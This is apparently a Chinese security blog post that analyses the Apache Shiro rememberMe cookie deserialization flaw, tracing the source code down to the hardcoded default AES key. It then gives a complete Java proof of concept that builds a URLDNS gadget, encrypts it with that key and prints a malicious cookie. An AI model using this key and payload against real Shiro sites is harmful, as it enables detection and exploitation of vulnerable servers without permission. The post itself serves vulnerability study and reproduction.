分析

漏洞产生于传递给网站的rememberMe这个Cookie,通过构造恶意Cookie,可以让Shiro反序列化出恶意代码。所以看下Shiro是怎么处理Cookie

shiro如何重新读取用户状态

shiro默认会把subject存在当前线程中,如果没有,则会去创建建一个

1
2
3
4
5
6
7
public Subject createSubject(SubjectContext subjectContext) {
        ...
        //Similarly, the SubjectFactory should not require any concept of RememberMe - translate that here first
        //if possible before handing off to the SubjectFactory:
        context = resolvePrincipals(context);
        ...
    }

看注释的意思是resolvePrincipals处理了rememberMe,那就跟进去

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
protected SubjectContext resolvePrincipals(SubjectContext context) {

        PrincipalCollection principals = context.resolvePrincipals();

        if (CollectionUtils.isEmpty(principals)) {
            log.trace("No identity (PrincipalCollection) found in the context.  Looking for a remembered identity.");

            principals = getRememberedIdentity(context);

            ...
    }

默认会把subject保存在session中(也会有缓存或者自己写的存储机制等),如果没有,它就会去getRememberedIdentity()方法中获取

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) {
        RememberMeManager rmm = getRememberMeManager();
        if (rmm != null) {
            try {
                return rmm.getRememberedPrincipals(subjectContext);
            } catch (Exception e) {
                if (log.isWarnEnabled()) {
                    String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() +
                            "] threw an exception during getRememberedPrincipals().";
                    log.warn(msg, e);
                }
            }
        }
        return null;
    }

获取到RememberMeManager后对内容进行处理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
        PrincipalCollection principals = null;
        try {
            byte[] bytes = getRememberedSerializedIdentity(subjectContext);
            //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
            if (bytes != null && bytes.length > 0) {
                principals = convertBytesToPrincipals(bytes, subjectContext);
            }
        } catch (RuntimeException re) {
            principals = onRememberedPrincipalFailure(re, subjectContext);
        }

        return principals;
    }

获取到序列化的内容后,进行反序列化

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

先对字节码进行解密

1
2
3
4
5
6
7
8
9
protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

通过查找当前文件,发现是aes加密

1
2
3
4
5
6
7
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
...
public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

接下来就开始反序列化了

1
2
3
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
        return getSerializer().deserialize(serializedIdentity);
    }
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception e) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, e);
        }
    }

整个流程就是读取 cookie -> base64 解码 -> AES 解密 -> 反序列化

复现

因为没有添加其他依赖,就用ysoserial里的URLDNS来判断是否成功反序列化 poc,懒得编译ysoserial就抄了代码,不得不说真香

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

import com.nqzero.permit.Permit;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Test {

    public static void main(String[] args) throws Exception {

        byte[] bytes = null;
        Base64 B64 = new Base64();
        byte[] key = B64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService cipherService = new AesCipherService();

        URLStreamHandler handler = new SilentURLStreamHandler();
        HashMap ht = new HashMap(); // HashMap that will contain the URL
        String url = "http://shiro.example.com";
        URL u = new URL(null, url, handler); // URL to use as the Key
        ht.put(u, url);
        setFieldValue(u, "hashCode", -1);
        bytes = getBytes(ht);

        ByteSource byteSource = cipherService.encrypt(bytes, key);
        byte[] value = byteSource.getBytes();
        System.out.println(new String(B64.encode(value)));


    }

    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }

    private static void setAccessible(AccessibleObject member) {
        // quiet runtime warnings from JDK9+
        Permit.setAccessible(member);
    }

    private static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            setAccessible(field);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }

    private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    static byte[] getBytes(Object obj) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = null;
        ObjectOutputStream objectOutputStream = null;
        byteArrayOutputStream = new ByteArrayOutputStream();
        objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        objectOutputStream.flush();
        return byteArrayOutputStream.toByteArray();
    }
}

启动Shiro,添加Cookie 刷新一下,dnslog上就收到了 锵锵

参考

https://lightless.me/archives/java-unserialization-apache-shiro.html https://blog.zsxsoft.com/post/35 https://juejin.im/post/5cbd28c2e51d456e2c24852a